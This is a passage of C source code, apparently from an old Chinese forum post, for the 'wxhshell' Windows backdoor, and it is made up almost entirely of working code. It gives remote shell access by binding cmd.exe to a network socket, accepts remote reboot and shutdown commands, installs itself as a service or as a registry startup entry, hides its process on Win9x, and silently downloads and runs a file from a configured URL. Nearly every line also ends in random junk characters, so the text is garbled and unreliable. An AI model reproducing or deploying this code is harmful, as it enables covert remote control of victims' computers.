    switch(cmd[0]) { W(5et5DN,  
  *'b3Z3c,;  
  // 帮助 %/b3G*$W  
  case '?': { ;0)|c}n+.5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7=$@bHEF#*  
    break; Im7t8XCG  
  } OxGS{zs  
  // 安装 v() wngn  
  case 'i': {  s~A#B)wB  
    if(Install()) =qQH,{]c6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oCl $ 0x  
    else [| \Z"   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'qhi8=*  
    break; zv1#PfO@)  
    } 1qEpQ.:](  
  // 卸载 RmR-uQU-c  
  case 'r': { 3ID 1>  
    if(Uninstall()) ~ULD{Ov'F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !B&OK&*  
    else +[ +4h}?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {_ &*"bK  
    break; v/W\k.?q/  
    } )<fa1Gz#^  
  // 显示 wxhshell 所在路径 0E6>P E;  
  case 'p': { ("G _{tVU  
    char svExeFile[MAX_PATH]; C}i1)   
    strcpy(svExeFile,"\n\r"); [?dsS$Y3  
      strcat(svExeFile,ExeFile); Dz<"eyB\  
        send(wsh,svExeFile,strlen(svExeFile),0); $#b@b[h<w  
    break; hKG)* Q  
    } Ia> 07av  
  // 重启 ]c67zyX=%  
  case 'b': { EWI2qaSnO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5_|Sm=  
    if(Boot(REBOOT)) \Zpg,KOT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \yQs[l%J  
    else { Cb`2"mpWS  
    closesocket(wsh); E%B:6  
    ExitThread(0); !Vtj:2PQL  
    } ,Pq@{i#  
    break; 12D>~#J  
    } 5<Lal^c D  
  // 关机 m1d*Lt>F@  
  case 'd': { |%V-|\GJ~j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )<<}8Fs  
    if(Boot(SHUTDOWN)) _m;H$N~I#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #i t)  
    else { )z:"P;b"Nl  
    closesocket(wsh); }K rQPg  
    ExitThread(0); <k41j=d  
    } KOYU'hw  
    break; ;,OZ8g)LH  
    } V2v}F=  
  // 获取shell Vr|sRvz  
  case 's': {  qHU=X"rn  
    CmdShell(wsh); AW6"1(D  
    closesocket(wsh); %^zGM^PD  
    ExitThread(0); @4ccZ&`  
    break; ,MmX(O0  
  } D^\gU-8M  
  // 退出 w~}*MsB  
  case 'x': { { Rd){ky@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0@BhRf5  
    CloseIt(wsh); 9'{i |xG  
    break; (8XP7c]5  
    } \DgWp:|  
  // 离开 %UO ;!&K  
  case 'q': { Omkpjr(1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s)eU^4m  
    closesocket(wsh); 4:50dj  
    WSACleanup(); ]:K[{3iM  
    exit(1); gO9\pI 2  
    break; ]b&"](A  
        } Bh%Yu*.f  
  } fG`<L;wi  
  } Ok*aP+Wq  
=Zt7}V  
  // 提示信息 vgyv~Px]AW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H[;\[ 3  
} Vs:x3)m5j  
  } o&PPW~D+h@  
~4}'R_  
  return; ?T (@<T  
} iN]#XIQ%  
ej^pFo  
// shell模块句柄 `%5~>vPS  
int CmdShell(SOCKET sock) :5 zXW;s  
{ |PY*"Ul  
STARTUPINFO si; \c .^^8r  
ZeroMemory(&si,sizeof(si)); XW2{I.:in>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %aHQIoxg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [\|p~Qb)s  
PROCESS_INFORMATION ProcessInfo; -h|YS/$f  
char cmdline[]="cmd"; V9SkB3-'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); TM?RH{(r  
  return 0; >ow5aOlQ&  
} >oOZDuj   
YH0=Y mU#X  
// 自身启动模式 +zU[rhMk'  
int StartFromService(void) *gq~~(jH  
{ *0K@^Db-  
typedef struct 3X0"</G6  
{ 9]{(~=D7  
  DWORD ExitStatus; 6 J&_H(^  
  DWORD PebBaseAddress; )2Ru} -H  
  DWORD AffinityMask; O?6ph4'  
  DWORD BasePriority; zdL"PF  
  ULONG UniqueProcessId; YA";&|V  
  ULONG InheritedFromUniqueProcessId; O}Ipg[h  
}   PROCESS_BASIC_INFORMATION; /$q9 Kxb  
Kzj9!'0R  
PROCNTQSIP NtQueryInformationProcess; b5-WK;  
0|RFsJ"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "sM 3NY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aBBTcN%'  
8PR1RC J  
  HANDLE             hProcess; j4!g&F _y  
  PROCESS_BASIC_INFORMATION pbi; 0[f8Gb3  
jD`p;#~8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0Gq}x;8H&  
  if(NULL == hInst ) return 0; sQ4~oZZ  
$Ur-Q d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wM]j#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0R#T3K}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jjT|@\-u  
%yVboA1  
  if (!NtQueryInformationProcess) return 0; h#Z5vH  
.L#xX1qr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d0b`qk @4  
  if(!hProcess) return 0; gcaXN6C  
ckglDhC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )L,.K O  
LW"p/`#<  
  CloseHandle(hProcess); c{qoASc?  
Xy0KZ !  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1ymq7F(2  
if(hProcess==NULL) return 0; <b5J"i&m  
/^m3?q[a  
HMODULE hMod; K&\3j-8^  
char procName[255]; =b{!p|  
unsigned long cbNeeded; 2[O\"a%  
g[#4`Q<.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;RmL'  
XOdkfmc+s'  
  CloseHandle(hProcess); ~O;'],#Co  
3 ;N+5*-  
if(strstr(procName,"services")) return 1; // 以服务启动 /+11`B09  
H.n+CR  
  return 0; // 注册表启动 na%DF@Rt#  
} YFGQPg  
~ sC<V  
// 主模块 7AOjlC9R}  
int StartWxhshell(LPSTR lpCmdLine) K;n5[o&c  
{ ^2|G0d@.:  
  SOCKET wsl; 'K"7Tex  
BOOL val=TRUE; [pc6!qhDG&  
  int port=0; 7jf%-X  
  struct sockaddr_in door; o:.6{+|N  
tW=,o&C=  
  if(wscfg.ws_autoins) Install(); x}c%8dO#J  
_w'N&#  
port=atoi(lpCmdLine); ",pN.<F9O  
UTThl2=+  
if(port<=0) port=wscfg.ws_port; {eQ')f  
Q)H1\  
  WSADATA data; PCx] >&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Xyf7sHQ  
^EG@tB $<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .t7mTpi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \0^ZNa?  
  door.sin_family = AF_INET; 'u%;5;%2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0VA$ Ige  
  door.sin_port = htons(port); [^J2<\<0  
6pKb!JJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %"1*,g{  
closesocket(wsl); ?11\@d  
return 1; gLH#UwfJ  
} DH5]Kzb/  
Za&.sg3RG  
  if(listen(wsl,2) == INVALID_SOCKET) { $;ssW"7~Qn  
closesocket(wsl); */kX|Sur  
return 1; #hNp1y2  
} X`,]@c%C`  
  Wxhshell(wsl); Y?^1=9?6  
  WSACleanup(); ub#>kCL9  
,IODV`L  
return 0; LvtZZX6!  
;M95A  
} H/eyc`  
8" x+^  
// 以NT服务方式启动 cITF=Ez  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EK-Qa<[|  
{ gm-m_cB<  
DWORD   status = 0; r%QnV0L^  
  DWORD   specificError = 0xfffffff; F$;vPAxbK"  
_QhB0/C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ][b2Q>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LPOZA`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K]b_JDEk  
  serviceStatus.dwWin32ExitCode     = 0; !*U#,qY  
  serviceStatus.dwServiceSpecificExitCode = 0; zeXMi:X  
  serviceStatus.dwCheckPoint       = 0; Rj/9\F3H  
  serviceStatus.dwWaitHint       = 0; V?k"BU  
7\q_^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CD]2a@j {  
  if (hServiceStatusHandle==0) return; (,J`!Y hS  
0'DlsC/`*  
status = GetLastError(); I& `>6=)  
  if (status!=NO_ERROR) {GaQV-t  
{ bEXm@-ou  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ozygr?*X  
    serviceStatus.dwCheckPoint       = 0; +!(W>4F  
    serviceStatus.dwWaitHint       = 0; i>Cxi ZT  
    serviceStatus.dwWin32ExitCode     = status; wGqQR)a  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^jO$nPDd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xr2ew%&o  
    return; i w,F)O  
  } :qx>P_&y}z  
(okCZ-_Jn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I<w`+<o(  
  serviceStatus.dwCheckPoint       = 0; CIM 9~:\  
  serviceStatus.dwWaitHint       = 0; /nK)esB1L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qM`XF32A$  
} 5-277?  
~urV`J  
// 处理NT服务事件,比如:启动、停止 oCLs"L-r{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @-z#vJ5Qe{  
{ ${$XJs4  
switch(fdwControl) q\qV~G`  
{ ~3 {C &c  
case SERVICE_CONTROL_STOP: kT(}>=]g  
  serviceStatus.dwWin32ExitCode = 0; 1}E`K#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #]s>  
  serviceStatus.dwCheckPoint   = 0; 8s4y7%,|  
  serviceStatus.dwWaitHint     = 0; dqMR<Nl&  
  { )Oq N\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r9Ux=W\  
  } IJ^KYho  
  return; .+G),P)   
case SERVICE_CONTROL_PAUSE: v+Vpak9|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (~oUd 4  
  break; ,L+tm>I  
case SERVICE_CONTROL_CONTINUE: 1#AdEd[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F|*{Ma  
  break; H_'i.t 'SS  
case SERVICE_CONTROL_INTERROGATE: <zN  
  break; ]1 #&J(  
}; 3G9YpA_}X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @GGzah#  
} [y y D-  
0 &U,WA  
// 标准应用程序主函数 t"`LJE._P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PsDks3cG  
{ ^e$;I8l  
=R#K` H66j  
// 获取操作系统版本 a z 7Vy-  
OsIsNt=GetOsVer(); I)ub='+&;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); omM*h{z$$  
?;.j)  
  // 从命令行安装 V *=To  
  if(strpbrk(lpCmdLine,"iI")) Install(); X75>C<  
uROt h_/  
  // 下载执行文件 tRYMK+  
if(wscfg.ws_downexe) { &0Zn21q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UYH;15s  
  WinExec(wscfg.ws_filenam,SW_HIDE); >Fm}s,  
} ]RmQ*F-  
-6MgC9]  
if(!OsIsNt) { 4-[L^1%S[  
// 如果时win9x,隐藏进程并且设置为注册表启动 8WU UE=p  
HideProc(); [~ bfM6Jw  
StartWxhshell(lpCmdLine); |KF X0*70  
} 'v4#mf  
else m~9Qx`fi`  
  if(StartFromService()) 1)u 3  
  // 以服务方式启动 PIo/|1  
  StartServiceCtrlDispatcher(DispatchTable); QBa1c-Y  
else Vg/{;uLAe  
  // 普通方式启动 S\GC^ FK  
  StartWxhshell(lpCmdLine); ?eT^gWX  
]#N2:ych  
return 0; ~$>l@> xX  
}
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只看该作者 1 发表于: 2006-10-10
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